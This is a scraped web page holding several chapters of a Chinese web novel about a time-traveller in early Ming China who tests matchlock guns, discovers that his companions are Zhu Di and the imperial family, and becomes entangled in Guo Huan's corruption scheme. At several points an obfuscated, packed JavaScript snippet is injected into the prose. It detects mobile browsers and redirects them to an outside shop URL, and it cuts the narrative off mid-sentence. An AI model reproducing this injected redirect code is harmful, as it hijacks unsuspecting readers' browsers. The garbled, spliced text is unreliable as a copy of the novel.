“赞读是九品小官。”麦至德也是笑着摇了摇头,然后笑脸瞬间变成了苦笑:“但是现在他是四品的少詹事了,比我都要高。” “九品到四品?”蓝染那是惊在了那里,原本想和麦至德碰杯的手,定到了半空中。 麦至德也是叹了口气:“有说那新粮就是他献的,又有人说他是满腹经纶深得陛下欢心,又有人说他是得到了太子的赏识,反正什么千奇百怪的说法都有。” “这么说来……这同福楼的厨子,就是他请过去的?” “诶,你这么一说,倒也是哦,升官宴嘛。嘿,蓝染,你说一个不知道哪里冒出来的土老帽地主,突然就当大官了,奇妙不奇妙?所以啊,还有很多城里的百姓说,这朱安宁,是不是这朱,有点东西啊……” 麦至德还在那叹气。 不对,不对劲,蓝染却突然警醒了起来。 自己义父是在那吃过亏的,人都被他宰了两个,他义父可不是什么善男信女! 现在赵集在那里,而那庄里的地主老爷,升了四品大员!这里有古怪,相当有古怪!这朱姓,也不对劲! 于是他径直打断了麦至德的悲伤春秋,追问道。 “麦大人,那赵集是去永乐庄具体做了什么?” “啊?方才不是说了么,铁冶啊。” “铁冶还是造刀剑?” “据说是造新火器。” “新火器?”蓝染愣了愣,然后攒起眉头,思索了片刻,回道:“会不会是,这新火器,已经造出来了。” “嗨,火器有什么新不新,不就一根铁管,里面塞火药。”麦至德是哈哈一笑,说出的话也是很符合蓝染的认知。 他便也笑了起来。 两人笑完后,却也同时沉默了下来。 这事好像有点太过凑巧。 半晌后。 蓝染忽地提了一嘴。 “麦大人,务必确认,库中那批兵器的去向!”这句话的语气,并不是很好。 居然让麦至德缩了缩脖子。 “好。” 而在永乐庄的朱安宁,是不太清楚现在的满城流言蜚语的。 他现在最重要的事情是,和赵集一起试枪。 当然了,现在多了个帮手朱棣。 三人已经驾轻就熟,但是朱棣和赵集还是时不时会感叹。 “朱哥,这火绳枪,真的太猛了。” “小燕,你已经说了好多次了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我被弹劾了。” 他说得相当直接。 让朱安宁是一时间丈二和尚摸不着头脑。 “被谁?” “工部麦至德,户部郭桓,还有几人……一同弹劾我御下不严。” “啊?”朱安宁先是愣,然后听着麦至德郭桓这两熟悉的名字,那是深深的吸了口气。 不是这么刺激吧,直接刚升个官,就要和郭桓麦至德这两个著名死人有关系了? 赵集也没有管朱安宁一脸懵,他继续说了下去:“但是说我御下不严,总归是得说我那个下属有问题,我又有什么问题啊,就一个御下不严,这……哎……” “会不会,就是想找个由头为难您啊。” 朱安宁想着以前看电视剧那些权谋戏,那是苦笑了两声,他最怕这些东西了,又烧脑又不讲人话。 “为难我?麦至德想对付我我能理解,不就是那个尚书的位置么,但是郭桓那几人,平日和我也不甚熟悉……” “不熟悉?” 朱安宁看着还在摆弄火绳枪的朱棣,脑中突然闪过了一丝头绪。 郭桓100%就是个贪的,他突然来弹劾赵集,会不会是某些贪腐的事情,和赵集有关,他们才这么火急火燎…… 贪腐…… 他深吸了一口气,转头对赵集,说道。 “赵大人!劣质铁器的事情!恐怕不仅是麦至德,还和这郭桓有关!” “朱大人……虽说郭桓弹劾了我,但是平白污蔑别人,好像也不太好吧……你的证据呢?” 这番话,然朱安宁是一阵无语。 这赵集,还真也是个憨憨啊。 “赵大人,一会回铁冶,有问题的枪,你放几把到我屋内,有备无患。” “啊?呃……也不是不行。”赵集倒也是没有反对的理由,反正太爷也说了,铁冶的事,尽管听朱安宁的。 只不过,这事,难道真的和郭桓有关? 赵集还是有些难以置信。 简单一个铁矿石的掉包,和麦至德有关还好说,怎么还能扯上其他六部的人…… 这…… 正当两人沉默不言时。 朱棣又开了一枪。 那是肉眼可见他击中了远处的一棵树,震得那树落了几片叶字。 “哈哈哈,这新火器,我一定要带去顺天府,起码八百亲卫都要有!” 兴奋至极的朱棣,没有注意到自己说错了点东西。 所以,他也没有注意到朱安宁,敏锐地注意到了,八百亲卫这个词……再配上顺天府。 是有点遐想空间的…… 第一百七十六章 judy 有些东西,一旦开始遐想,便是止不住。 当朱安宁下意识地又一次把目光移到朱棣身上时,终于引来了朱棣的不满。 “朱哥……你盯得我……好不自在……” “呵呵,就觉得你今儿有点不一样而已……”朱安宁一愣,连忙收回了目光,突然也是觉得自己一直盯着人家看,会不会有点gay里gay气,明朝可没什么南通风气…… 但是一想到,眼前这个摸着火绳枪像个弱智一样嘿嘿傻笑的人,可能就是启天弘道高明肇运圣武神功纯仁至孝文皇帝…… 他就觉得,好像汤姆掏出了迪迦变身器大喊盖亚然后一脚骑士踢踹死了邪剑仙一样……莫名其妙。 不能吧…… 正在随手炒着辣椒肉片的他,忍不住又看了一眼朱棣。 “嘿嘿……宝贝枪,太厉害了啊……” 朱棣在那笑得不太聪明的样子。 让朱安宁又一次动摇了自己的想法。 怕不是今天风大听错了? 他摇了摇头,暂时把思绪放回了赵集的事情上。 穿越前他是经历过职场的,说起来官场其实就是高端职场,只不过一步走错,那就不是降职降薪,可能是人头落地…… 赵集说的被人弹劾的事情,是真的让朱安宁有些坐立不安。 不说别的,他还是很喜欢赵老哥的,能力出众还听劝,去哪找这样的能完美听懂看懂天工开物的工部大员啊。 指不定未来大明攀科技,就是靠他了。 退一万步讲,他现在和自己关系匪浅,这狗日的什么郭桓麦至德,把我赵老哥弄倒了,自己这少詹事会不会也一并弄了…… 他瞄了一眼自己的房车,里面放了两杆炸膛枪,起码是有备无患吧。 作为现代人,他好歹是知道点历史脉络的。 是非曲直太详细不清楚,但是郭桓板上钉钉是贪狗一条,麦至德也是,贪狗加贪狗要搞我赵老哥,那估摸和那批铁矿石铁器有关。 朱安宁之前也是没想到明初这批官员能贪成这鬼样子。 郭桓案爆发的粮草贪污问题,只不过是众多贪污案中的一环而已。 事后引出的各种贪污情况,才导致老朱的闸刀天天加班九九六个不停。 事实上,明初的贪腐风气是非常夸张的。 原因很简单。 朱元璋后期地盘拓张的速度,远超他想象,基层的治理是需要大量官吏的。 而老朱自己中央班底都缺人缺到脑袋冒烟,还要四处征战,那是根本就没办法指派地方官。 这个矛盾,最初的解决思路是。 让元朝,张士诚,陈友谅原来指派的地方官,继续干。 老朱也不用担心那些官员们会有什么二心。 毕竟经历了这么十几二十年的战乱,这批地方官早就练就了堪比衍圣公的滑跪速度。 谁是大王不要紧,自己还是县老爷就行。 这个思想方针和老朱的思路不谋而合,双方得体一笑,相安无事。 这做法一定程度上维持了地方的稳定。 这批从元朝延续下来的地方官,作用是毋庸置疑的。 地方百姓抬头一看,老爷还是老爷,仗还打完了。 也就老老实实继续生活下去了。 但是明朝建立后,问题就慢慢显现了。 这批官老爷,本质上就是元朝的官老爷。 张士诚和陈友谅其实也没怎么动基层官僚。 那么元朝的官员,或者元朝官员的接班人。 治理能力有没有先不说,搜刮能力那是一顶一的强。 他们又不像朝廷命官那样直面过老朱的威压,做事依旧是老一套做法,那就是狠狠地贪。然后按照以前的指导思想,开始给自己线条上的主官们上供。 而各部的大小主官,也在这洪武朝建立后的十二年间,被腐化了不少。 或者说……他们本就抱着这样的想法,只是地方官的上供行为,给了他们机会而已。 天下都打下来了,朝廷的老爷们,享享福,有错? 事实上,现在并非是郭桓案爆发的时间点……只是阴差阳错,朱安宁的两车石膏,把这事提前给漏了底而已。 朱安宁的辣椒炒肉还在锅中,调味料已经下完,香味终于让朱棣回过了神来。 他刚想开口。 没想到恰好有人推门进来。 是夹着注解回到院中的方孝孺。 “朱哥,真就让他住下了?” “小燕,忍忍,好歹是个不用工钱的先生……给碗饭就行……” “我怕我到时又忍不住打他啊……” “你忍不住你就去打胡修道和柳文……” “我打他们干嘛……” “他们耐揍。” “呃……” 两人看着方孝孺走进来,那是嘀咕了好一会。 而方孝孺好似没有听见两人的聊天般,呆呆地坐了下来。 然后宛如痴呆般坐立不动。 这也是把朱安宁和朱棣都给整不会了。 “不是朱哥……他……他不是被那群小孩给欺负了吧……方孝孺可是比 狗还犟的啊,会不会想不开啊……” 朱棣连忙放下手中的火绳枪,凑到了朱安宁的身边,皱起了眉头。 “你的思维倒是挺发散的啊……” 朱安宁听得是想笑又不好意思笑。 毕竟方孝孺也在旁边。 他继续回道:“不至于,你看他衣服干干净净,要是真和胡修道那几个下手没轻没重的闹起来,那能这样回来?”朱安宁看了眼朱棣,然后突然想起了什么似地:“不是,你把他送过去学堂,你不是什么都没说就溜了吧!” “啊?朱哥,天地良心日月可鉴,我送过去还给那群毛孩子讲了小半时辰的话本,顺便把方孝孺介绍给他们,告诉他们这是新的先生才走的啊,我还特定警告了胡修道和柳文这两小子不要闹事……你可不能冤枉我!” “那他怎么一副被人奸了的样子!”朱安宁眉头一挑,还是有些不解。 “咳咳……朱哥……这个……”朱棣则被朱安宁生猛的措辞给惊了惊,有些哭笑不得。 两人都是一脸无语地看着方孝孺,直到朱棣大喊一声。 “焦了!” “哎卧槽!真焦了!狗日的!” 有人大喊,有人大骂。 也恰是如此,才把方孝孺给惊醒。 他一脸恍惚地看了看自己所属的环境,又木讷地抬头看了看朱安宁和朱棣。 面部表情终于有了些变化。 “见过朱先生。”他突然站起来,毕恭毕敬地行了个礼。 这模样是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378780|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把朱安宁又吓了一跳。 这家伙不是谁都不服么,之前给自己行礼,也就是礼貌性质的,这个他是看得出来的。 这次这个有点不一般啊。 那态度可比海对面的躬匠仙人们要情真意切多了…… 什么情况。 在朱安宁懵逼的时候,方孝孺也是转过身,对着朱棣恭敬地行了个礼。 “见过燕王。” “咳咳咳咳咳!” 朱棣是看他样子就不对头,所以在王字欲出未出时,就已经开始战术咳嗽。 但是,并没有影响到朱安宁的听力。 燕王…… 这个词很清晰。 朱安宁确认自己没有听错。 但是他也知道这个时候绝对不能和朱棣对视。 他只能不漏声色地开始盛起那碟辣椒炒肉,然后放到桌面上。 “啊,还有青菜,我去拿一下。”朱安宁顺势起身,越过了朱棣,去到了水缸边,那里有正在沥干水分的菜。 而朱棣,正恼火地看着那又陷入呆滞中的方孝孺,却也没办法说什么。 他也不太确定朱安宁有没听到。 暴露身份他是不介意的。 但是他介意老爹的巴掌和踹人很痛的脚…… 于是他远远地看了眼正在拿菜的朱安宁,多少有点惊疑不定。 其实……朱安宁比他还要慌。 之前只是怀疑,现在……那不就是坐实了么! 燕王。 朱元璋第四子。 朱棣! 那小周…… 好好好,周王是吧,怪不得天天围着自己问植物草药的事情。 你就是明朝大科学家朱橚本体是吧…… 大哥,伍文……朱标太子…… 牛魔的…… 不对,他们老爹才是关键。 朱元璋啊…… 那就是朱元璋啊。 自己好像骂了他好多次,也怼了他好多次……还笑话过他好多次。 脑子里不由得浮现了一些过去的事情…… 让朱安宁是眼前一黑。 他已经有了取死之道。 千躲万躲,他一直还以为自己真就是应天府郊外的小地主,运气不错有点起飞而已。 感情最开始遇上的就尼玛是朱元璋是吧…… 他手微微有点抖,但还是强自镇定地,走回到了炉子面前。 也没管那么多,直接就加油,然后把青菜倒进了锅中,油水飞溅,一下就飞到了不远处的朱棣手上。 “嗷~~~” 烫到他宛如猴子般大叫起来,然后连连退了两步。 朱安宁瞄了一眼那个拼命在吹自己手臂的年轻人,那是不知道该笑还是该怎样…… 朱棣? 就这? 封狼居胥? 派郑和下西洋? 编著永乐大典? 开启永乐盛世和自己老爹的洪武连成洪永盛世,甚至有评价远迈汉唐,缔造封建王朝五大盛世之一的朱棣? “嗷~~~烫死我了!” 看着这正在汤姆叫的人儿。 朱安宁,只觉得,世界真他吗就是个草台班子。 —————————— PS:先来一章,晚上还有 第一百七十七章 先生,我悟了啊! 饭碗已经摆好。 菜不多就两碟,但是香味扑鼻。 “朱哥,不等成梁?”朱棣在一边问道,那眼睛是死死地盯着朱安宁,想看出些蛛丝马迹。 “他下午就说了,要忙活明天席的事情,不回来吃。”朱安宁没有和朱棣对视,而是径直坐到了自己的位置上,顺势拉了一把方孝孺:“方希直,吃饭了!” 这一嗓子,再度把放空状态的方孝孺给吼了出来。 “啊……见过朱……” “行了行了……”朱棣和朱安宁同时大喊了一声……默契十足,只要方孝孺不出声就行…… 然后又是一阵沉默。 过了良久,是朱安宁开的口。 “方希直,住进来就不用天天见过这个见过那个了,吃饭吃饭。” 方孝孺刚从那呆滞的状态中出来,精神还有些恍惚。 他抬头看了眼朱安宁,又看了眼朱棣,只觉得这两人,有点奇怪…… 奇怪是正常…… 两人现在都有些不知所措。 朱安宁已经在短短几分钟内,想好了基本对策。 那就是当做什么都不知道…… 因为他不知道为什么朱棣朱橚这两皇子要隐瞒身份住进自己院子里…… 更不知道为什么自己都已经快要把指着朱元璋鼻子骂了,自己还活着。 所以他决定,当做什么都不知道…… 既然对方没有暴露自己的身份…… 一定是有他们的原因的。 一定是有高深莫测,不可揣摩的原因,如非必要,自己最好不要戳穿……不要误了英明神武杀人如麻砍头不眨眼的洪武大帝的事…… 这是朱安宁的想法。 而朱棣现在满脑子都是完蛋了,死定里,不仅要挨揍还要被大哥骂了…… 一旦陷入这种情绪之中,我们的燕王朱棣同学,自然也是没有了什么说话的欲望。 这饭,是开始得相当沉闷。 唯有方孝孺,好像突然想通了什么似的,忽然笑了笑。 “心即理也,天下又有心外之事、心外之理乎?” 他莞尔一笑,竟是洒脱了不少。 朱棣也好,朱安宁也好,本是在那惴惴不安的,结果方孝儒一开口,那是直接吸引了两人的注意力。 朱棣是皱起了眉头,他之前在大本堂文华殿也是每天四书五经的,文学造诣并不差,所以他是听得懂方孝孺在说什么的。 皱眉头的原因是方孝孺的一番话,有点深意,似乎不在任何典故中…… 朱安宁则是直接一愣。 放在一个月前,他肯定是一脸懵逼的。 但是现在……他当然知道出处。 这不王阳明的话么…… 好像今天让朱棣转交给方孝孺的那些课程注解里面……有小半篇王阳明的语录。 他嫌麻烦,便没有去掉……毕竟是pdf版本的。 等下…… 朱安宁猛地醒悟了过来。 这方孝孺,不是看了这小半残篇……在这开始琢磨了吧…… 朱安宁以前闲得蛋疼的时候是看过方孝孺的视频的。 这个耐诛王可不是什么草包。 实际上,据《明史》记载:“方孝孺,工文章,醇深雄迈。每一篇出,海内争相传诵。”《四库全书总目》评其文章谓:“纵横豪放,颇出入东坡、龙川之间。”撰有《大易枝辞》《周礼考次》等,还有许多著名文学作品,如《蚊对》《指喻》等,每篇都各具特色。 而且这家伙虽然犟,但是文学上造诣可谓是高到不行的那种。 不然也不会在攻下南京前被造反王姚广孝惦记,点名要他来写即位诏书。 所以方孝孺今天拿着朱安宁的注解,一看就看出了王阳明文章的立意之独特…… 作为宋濂的弟子,他教一群乡里的学生其实绰绰有余,而且还有胡修道和柳文从旁辅助,其实今天的教学并没有出什么大事,充其量就是比较枯燥而已。 只是乡学的学生又不是刚上学,竟然也忍受了下来。 所以课程结束后,方孝孺得以继续去看王阳明的文章。 一看不要紧。 整个人直接是陷了进去。 心学说起来,是脱胎于儒学的唯心学说,越是学术素养高的人,琢磨起来越容易魔怔。 方孝孺便是如此。 这明明与他打小接受的教育背道而驰……硬说的话,可以说是离经叛道了。 但是就是这么地有意思。 写下这些文章的人,好似是一个已经通读了四书五经的大儒,突然顿悟了更高层次的东西那般。 开始解释人欲、良知、功夫…… 一字一句,极其精妙,让方孝孺是恼火不已,他渴望能直接面对写下这些文章的人,他想和这人讨论。 何为知行合一,为何又说未有知而不行者。知而不行,只是未知! 他就这般魔怔着从学堂走回了院中,甚至对朱安宁行礼和对朱棣行礼,都是下意识的行为。 直到朱安宁叫醒他吃饭。 他却突然悟了。 为什么他会纠结痛苦这未署名的文 章…… 因为他在意,他想辨个对错,就像曾经他面对朱安宁,面对朱棣那般。 但是写下这文章的人,却告诉他心即是理,他一下就松了不少,虽然还是疑惑,但是终归是走出了魔怔状态。 方孝孺抬头直勾勾地看向了朱安宁。 “敢问朱先生,那知行合一的语录,是出自……” “啊……自然是域外大儒。”朱安宁一听知行合一这四个字,便知道,这方孝孺大概是按残篇学心学,学傻了。 古金小说里不都写得明明白白么,练残篇或者逆练,都是要走火入魔的啊混蛋! “不愧是域外……见解,真的相当独特,又相当耐人寻味。”方孝孺怔怔地回道,然后竟是开始追问:“那朱先生作为大儒门下,一定知晓这释意吧,我能否讨教!” 讨教? 哇,杀了我吧。 朱安宁在心里哀嚎。 他又不是什么文学博士,图书管理员穿越,会个屁心学啊,扯犊子说个知行合一已经是他的极限了啊。 于是他决定要决绝地说不。 可惜的是,方孝孺并没有给他这个机会…… 因为方孝孺已经迫不及待地问出了问题。 “朱先生,心即理也,天下又有心外之事、心外之理乎?当何解?” “啊?就这?”本来已经想站起来找个理由逃跑的朱安宁,听完方孝孺的问题,那是又把屁股贴到了凳子上。 这句话的释义,教材全解上用故事解释过……刚好就是方孝孺手上那注解的后一页,没有打印出来而已,朱安宁是看过的,觉得有趣还大概记了记,想着什么时候给乡学的孩子们讲的。 于是他换了个舒服的姿势,露出了装逼的嘴脸。 方孝孺倒是被朱安宁的反问弄得有些不好意思了。 “太……太过简单?” “啊……倒也不是……”虽然想装逼,但是又不是太敢装,这和之前赌论语不一样,这是现场直播啊! 朱安宁轻咳了两声,说道:“方希直,这两句话,表意,再简单不过,你我都懂,那我讲两个故事,你听听如何?” “愿闻其详。” 不仅是方孝孺,这次连朱棣都露出了好奇的目光。 于是,朱安宁换了个腔调,讲故事似地开始讲述:“一个小小的蜉蝣,生命周期只有短短一天。蜉蝣和蚂蚱交了朋友,很欢喜地在一起玩了一天。到了晚上,蚂蚱说我要回家了,明天早上见。蜉蝣不解,问蚂蚱:什么叫明天?什么叫明天早上?蜉蝣的生命只有一个白天,它从未见过明天。” 这故事很简单,但是方孝孺并没有打断朱安宁,他得以继续讲下去。 “后来蚂蚱跟青蛙做了朋友。到了秋天,天气逐渐转冷,青蛙说:我要回去睡觉了,明年春天见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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成梁他们找了个空地,准备摆席。 而更远处的铁冶,即便到了这个时辰,还在热火朝天地加班加点。 李工匠,是负责磨铁管的工匠之一。 他的工作已经接近了尾声。 明明应该是处于放松状态的他,现在却精神紧绷。 “老钱……老钱,这枪的数不对啊,那批刻印了库房的枪呢……哪去了,怎么少了两杆?” “啊?少了?哦,我想起来了,下午朱大人拿了两杆说要放自己屋里。” “他拿去自己屋干嘛?!”那李工匠,已经是一副要哭出来的表情。 “我怎么知道,大人的事,我们工匠哪敢问。诶……老李?老李?你去干嘛……” 钱工匠叫了两声,却还是叫不住那李工匠。 几个步子,那李工匠就走出了铁冶,去到了树林里。 没有人在意他的离去。 毕竟上厕所,是人之常情。 “这位爷……爷……只有头一批铁管是用刀剑复炼出来的,本来是都在棚里堆着的,位置我给您画好了,但是有两杆,今天突然被朱安宁朱大人拿走了,说是拿到他屋里去了,这……这可不怨我啊!!!” 李工匠的声音,因为害怕而有些畸变,但是他却始终压抑着声调,就是怕别人听见。 树后传来了一阵闷哼。 “没有遗漏了吧?!” “没有了没有了!这位爷你放过我和我家人吧……呜呜……我知道的就这么多啊……” “哼,你家人活得好好的,待爷今晚了结了这事,自然会放了他们,你滚回去,当做什么都没发生过就行!” “是是是!” 李工匠,连滚带爬地回到了铁冶内。 过了良久,一个人影从树后走了出来。 “啧,那些大人们可是给了我姬友命相当多银子啊,这事得办得利索点,嘿嘿。” 第一百七十八章 预备锦衣卫指挥使的天赋技能 “麦至德查清楚了?赵集真的提了一批兵器去他的铁冶里??”户部侍郎郭桓正在喝茶,手有点抖地喝茶…… 听完郭桓的问题,蓝染也只能无奈地叹气…… 中午和那麦至德吃过饭后,蓝染便知道事情大条了,这麦至德靠不住,便连忙来郭桓这边拜访。 要说蓝染是联系地方官与应天府的那个推手,那协调应天府关系网的,便是这郭桓。 不同于麦至德这种后面加入的贪官。 郭桓是最初的一批粮食【生意】的参与者。 而蓝染已经一五一十地把新出现的情况和郭桓说清楚。 郭桓听完,是差点把杯子给砸了。 只觉得麦至德这脑子还能做到工部郎中,真是厉害…… “我亲自和麦大人去看的簿子,上面写得一清二楚,上月赵集提了一批走……用于虞衡清吏司铁冶……簿子我们已经处理了……” 蓝染缓缓回道。 两人都是陷入了沉默之中。 只见郭桓脸庞都扭曲了不少,一副想要吃人的样子。 那些各地的布政使们若是知道麦至德搞出这么大的事情,会不会把自己也抛弃…… 能做到一方布政使的,那就是统管一方的一把手,真要发起狠处理起自己来,什么三品侍郎,户部大员,他们有一万种方法拿捏自己!各地布政使若是团结一心要干点什么,改天换日有点难,毕竟这些一把手没有军权,但是弄死自己绰绰有余! 郭桓坐不住了,他把茶杯一丢,也不管茶水漏到了桌面上,快步走到蓝染跟前。 “蓝染,你应该知道这代表了什么。” “郭大人,我正是知道这事的严重性,才第一时间来拜见您。” “没人看到你进来吧!” “后门入。” “好,你能来找我,应该也是有了点打算的,那批兵器的去向是永乐庄的铁冶,应该是拿去炼铁了,炼了火器吧!” 永乐庄造铁冶是瞒不住城里的,朱标根本就懒得封口,只是对外说是造新火器。 最初大家还好奇跑那么远造铁冶干嘛,只是随着时间的流逝,关注的人越来越少。 而现在,这铁冶,注定要成为风暴的中心了。 “麦至德还是有点能力的,他通过自己的主事向工匠打听到了,赵集他们分批次锻造了火器,第一批的印记是库房,想来就是库房兵器再熔炼锻造而成的……” “他也就这点能力了!这批兵器必须回收!趁太子和陛下没有发现之前!” “郭大人!”蓝染突然高声回了一句:“那永乐庄,有点问题……” “你是说曹国公?” “我就怕不止是曹国公……我义父蓝玉,曾经去过闹事,结果……您应该听过。” “你义父虽然只是个侯爷,但是向来天不怕地不怕……能让他退却的情况……之前和几个大人吃酒时聊天也觉得奇怪……怎么,你是有其他想法?” “那永乐庄庄主,姓朱。” “……” 两人,再次陷入了沉默。 天下间姓朱的人有很多。 但是永乐庄似乎神秘过头的。 曹国公有关,太子亲自下令铸造铁冶,再到现在扶摇直上的提拔……直接就是辅佐太子的少詹事。 这就很不对劲。 “不管他是谁,必须要回收那批铁器,这麦至德的屁股,我们只能帮他擦干净……” “好……我这就去寻个能人……” “不能伤人,绝对不能伤人,失窃可以,出了人命,事情就闹大了!” “明白……” —————————————————— “父皇,关系网已经理清楚了……”朱标长叹了一口气。 人多少有点麻。 其实这些事情,本来是没那么好查的。 偷偷地贪一点官粮,报个损耗,他朱元璋和朱标,怎么查都查不了。 此时锦衣卫并未设立,南京只有上十二卫,也恰是因为没有锦衣卫,朱元璋对地方的政务管控是比较松散的,当然,军权,老朱是懂行的…… 这政务交由布政使一把手全抓的后果就是。 共计十二位布政使,也就是十二位一省之长,就这么堂而皇之地开始在粮税上大贪特贪…… 没有什么掩饰的那种。 管军权的千户总兵们,是不能插手政务的。 这让布政使们更加肆无忌惮。 所以当毛骧让亲卫们散到各地去收集证据时,那是瞠目结舌。 贪污办法之简单,是难以想象的。 就是多收,少交…… 加点税种,抽上来,上交朝廷时,又瞒下来。 这事情当地的百姓们可能不太清楚,但是随便问几个富商,大家都心知肚明。 所以毛骧手下的亲卫们才能在这么短的时间内,掌握那么多证据和情况…… 尤其是太平府、镇江府,抽得极重,交得极少,都已经快要到了民变的边缘了。 朝廷还一无所知。 朱元璋和朱标之前是看过毛骧上报的大概情况的。 因为涉及到了前线 ,涉案的人又有六部大员在内,朱元璋选择了按下不动。 但是这却引起了毛骧的不满。 这位检校可是很有建功立业的心的,毕竟虽然他深得朱元璋的信任,但是品级并不高,这他肯定是不太开心的。 而现在,他一个小小的检校,突然有了权力带一堆亲卫,去查那些地方大员,甚至是查朝廷大员,这种刺激是无与伦比的。 虽然是只能在暗处,他没有权力去缉拿任何人。 但是已经足以让他有一种掌控生死的快感。 这让他欲罢不能。 所以他非常期待他与他部下收罗上来的名单,会有怎样的回应。 会有多少人头落地,会有多少权贵变成亡魂。 然后…… 他的期待落空了。 朱元璋和朱标毫不犹豫地把这些名单给压了了下来。 毛骧想象中的清洗并没有发生。 这就很让他无奈了。 他又没法代替朱元璋去砍人。 于是这个未来的锦衣卫指挥使,很好地觉醒了应该属于他的能力。 现在编造证据他还是不敢的。 但是利用手头的证据,进行串联,编排,这他已经是有能力的了。 于是在名单提交上去给朱元璋和朱标,石沉大海一段时间后。 毛骧,又把手头的东西润色了一遍。 原本是某某布政使下面的人贪腐。 在他的证据串联之下,很合理地推断出来了,其实这个布政使也是一身屎…… 这种合情推理,大规模地出现在了新的报告中。 于是,就有了现在铁青着脸的朱元璋,和也是一脸愤怒的朱标。 不同于朱元璋,朱标其实是相对没那么容易被挑动起情绪的。 但是这次毛骧的报告写得实在是太漂亮了。 他并不是平白无故地去捏造某某大员有问题。 而是从他的下属情况去往上推断。 保守也能治一个御下不严,往更严重里说基本就是包庇或者也参与其中了。 “毛骧,这些……都是真的……” 朱元璋一阵眩晕。 之前提交的第一份板上钉钉的贪污名单,虽然触目惊心。 但是更多的是低级官吏和地方官吏,大员涉及其中也多,但是不至于说让老朱发疯。 而现在串联出来这份东西…… “十二位布政使!!!十二位!!!整个大明都在贪是吧!!!从上到下!!!我原本以为只是那些张士诚,陈友谅留下来的余孽们在贪!啊?现在呢,我指派的人也在贪?!你告诉咱,有谁是没有贪的?!!” 暴怒的朱元璋,差点把桌子都给掀起来,甚至盛怒之下,还去踹了毛骧一脚。 毛骧被踹这一脚,可是又痛又乐,自己编排的东西,真的起作用了!!! 一股满足的感觉,油然而生。 朱标却也是在一边,无奈地开始劝慰自己的父亲。 “父皇,兹事体大,您先消消气……” 对于毛骧递上来的东西,朱标是看过的,有些是确实有,有些,却只能说是八九不离十的猜测,但是就算只是这样,情况也已经足够恶劣。 “我怎么消气,前线在打仗,这几年又是旱灾虫灾轮着来,饿死了多少人?但是你看这几个所谓的父母官,啊?我都不奢望他们爱民如子,他们能把百姓们当个人我都谢谢他们了!结果呢???!!!” 嘭!!! 又是一声巨响,是朱元璋用力地劈了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378782|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下案台。 声音之大,甚至把殿外的内侍太监,都吓了一跳。 “咱要把这群虫豸,都剥皮实草!!!毛骧,你可以滚了!把你散下去的人,全部收回来,咱要他们有大用!” 大用? 毛骧终于忍不住,低头笑了起来。 自己赌对了。 果然,飞黄腾达,是要自己争取的! “是,陛下!!!” 一旁的朱标,张了张嘴,想说些什么。 但是他微微转过头,瞥了一眼那长长的密信。 然后,沉默了下去。 这大明,才刚建立,就已经烂成这样了…… 哎。 太子,只能长长地,又叹了口气。 而远在郊外的朱安宁,却是忍不住打了个喷嚏。 “这辣椒……真的好辣啊!斯哈……”他和朱棣,吃的正欢。 已经很久没试过这种辣椒自由了,毕竟之前存量有限,而现在好歹是种出来一批了。 所以朱安宁和朱棣都吃得很欢脱。 方孝孺就要差上不少…… 特别是他最开始还格物致知格了口辣椒,差点当场去世。 现在是涨红着脸,又菜又爱吃的样子。 “朱先生,这辣椒,好是过瘾啊……斯哈斯哈!” “没想到方孝孺你居然也挺懂啊!斯哈!”朱棣在旁边接了话。 朱安宁则是微微一笑,不予置评。 三人就这般大快朵颐,饭和菜都在极速被扫进肚子里。 而院外的一众工匠,也开始慢慢散去,明朝的加班加点,和现代的加班 加点是不一样的,根本区别在于,明朝没有电灯,所以加班到视线不佳,就必须要离场。 现在正是这下班高峰期,一群工匠拖着疲惫的身躯,开始往官道那边挤去。 他们都需要在太阳完全下山之前回到自己的住处,这批工匠都是应天府籍的,都有自己的住处,所有没有人会选择留在永乐庄。 李工匠走在最后,紧张地回头看了眼已经只剩下几人看守的铁冶,抖了抖…… 只见铁冶角落里,闪出个黑影。 正是姬友命,他按照这李工匠给的讯息,慢慢摸向应该上了锁的库房。 只见他瞄了瞄远处的看守工匠,确定无人注意到他后,他一把把锁给摸了下来……想来,那只是假装锁了罢了。 然后,他一个闪身,就进到了四面都是墙的库房里,然后赶紧把门掩了起来,点亮了随身携带的火折子,不然这乌漆嘛黑的,什么都看不清。 “嗯?这火器怎么这般奇怪……”他看了眼地上摆放的火绳枪,自然是一脸懵。 但是很有职业素养的姬友命很快压下了心中的好奇,连忙开始寻找刻有库房印记的枪。 库房其实不大,最近这一个月产出来的火绳枪也有限,不过是几十杆罢了,姬友命很快就在角落找到了他想要的东西。 “六杆……没错了,哇……这么沉……”他想一手拿起六杆,却发现有点吃力。 